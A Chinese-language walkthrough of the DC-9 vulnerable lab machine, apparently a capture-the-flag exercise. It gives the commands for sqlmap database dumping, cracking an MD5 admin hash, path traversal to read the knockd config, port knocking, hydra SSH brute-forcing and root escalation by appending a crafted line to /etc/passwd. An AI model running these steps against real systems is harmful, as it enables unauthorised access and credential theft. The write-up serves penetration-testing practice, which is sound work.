使用nmap扫描C段发现靶机ip
nmap 192.168.26.0/24
发现靶机ip为 192.168.26.136 本次使用kali2020,kali IP为192.168.26.20
使用nmap扫描靶机具体信息
nmap -sS -sV -T4 -A -p- 192.168.26.137
也没发现什么有用的信息,然后访问80端口
靶机IP: 192.168.26.137
kali IP: 192.168.26.20
对登录框注入失败,尝试对搜索框注入
我是直接bp抓包,然后再搜索框输入的数据后面加*直接用sqlmap跑数据包注入的,直接获取到了
sqlmap -r dc-9.txt --batch
发现存在sql注入,于是sqlmap一把梭
sqlmap -r dc-9.txt --batch --dbs
sqlmap -r dc-9.txt --batch -D users --tables
sqlmap -r dc-9.txt --batch -D users -T UserDetails --columns
sqlmap -r dc-9.txt --batch -D users -T UserDetails -C "id,firstname,username,password" --dump
尝试用获取到的密码登录,发现无法登录,然后尝试获取其他数据库的信息,步骤同上,然后获取到了admin用户加密后的密码,看起来是md5尝试解密
发现可以解密,admin的密码:transorbital1 于是我们拿得到的账号密码登录到后台,在manage页面发现了File does not exist,感觉是文件包含
尝试读取文件,发现可以读取到文件,尝试读取日志文件,发现读取不到,百度了一番,发现可以使用端口敲门,开启ssh服务22端口
参考: https://blog.csdn.net/nzjdsds/article/details/112476120
需要按照指定顺序敲击端口,如果敲击的端口和顺序正确,防火墙会更改策略对该访问ip放行,来达到访问效果
访问下knockd配置文件
?file=../../../../etc/knockd.conf
[options]
UseSyslog
[openSSH]
sequence = 7469,8475,9842 # 打开ssh 22访问的三个操作端口 ;
seq_timeout = 25
command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT # //-i 命令是将规则插入到最前面,最先生效,以防止过滤所有端口的情况将此条规则吃掉
tcpflags = syn
[closeSSH]
sequence = 9842,8475,7469 # 关闭ssh 22访问的三个操作端口
seq_timeout = 25
command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT # //SSH使用完后,再将22端口“保护”起来
tcpflags = syn
###################################################################################################################
解释:
Options:你可以在此字段中找到knockd的配置选项。正如你在上面屏幕截图中所看到,它使用syslog进行日志记录。
OpenSSH:该字段包括序列、序列超时、命令和tcp标志。
Sequence:它显示可由客户软件用作启动操作的模式的端口序列(打开ssh 或者关闭ssh,,关闭操作的端口序列跟 打开操作的序列相反。)。
Sequence timeout:它显示分配给客户端以完成所需的端口试探序列的总时间。
command:这是一旦客户软件的试探序列与序列字段中的模式,执行的命令。 TCP_FLAGS:这是必须针对客户软件发出的试探设置的标志。如果标志不正确,但试探模式正确,不会触发动作。
依次访问 打开操作的端口序列 7469、8475、9842 完成“敲门”操作,就可以用ssh登录了
###################################################################################################################
可以使用以下三条命令挨个敲击端口
nmap -p 7469 172.66.66.139
nmap -p 8475 172.66.66.139
nmap -p 9842 172.66.66.139
#但是因为有超时限制,加快命令的输入速度也可以写个python的 for in 循环来访问,如下:
for x in 7469 8475 9842;do nmap -Pn --max-retries 0 -p $x 192.168.26.137;done
将我们上面获取到的账号和密码分别保存到两个文件中,使用hydra尝试进行ssh登录,看那个账号支持ssh登录
hydra -L dc-9username.txt -P dc-9password.txt ssh://192.168.26.137
发现三个账号可以使用ssh登录,登录前两个都没发现什么问题,登录到janitor账号后在/home/janitor目录下发现隐藏文件
在janitor中发现了几个密码,加到我们的密码字典中
然后再次使用hydra爆破发现了第四个可以用ssh登录的账号和密码
登录后sudo -l发现test文件有root权限
切换到test目录看下,找下这个test.py,在/opt/devstuff目录下,脚本的作用就是将第一个文件的内容附加到另一个文件里面去
在etc/passwd文件里进行写入账号密码
运行脚本的时候最好切换到test目录下,test.py的路径为绝对路径
openssl passwd -1 -salt dc 123456
echo 'dc:$1$dc$5uDk4oYnRiBs0fFGlcRwy.:0:0:root:/bin/bash' >> /tmp/dc
sudo ./test /tmp/dc /etc/passwd
写入完成后登录到我们创建的新账号
在root目录下获取flag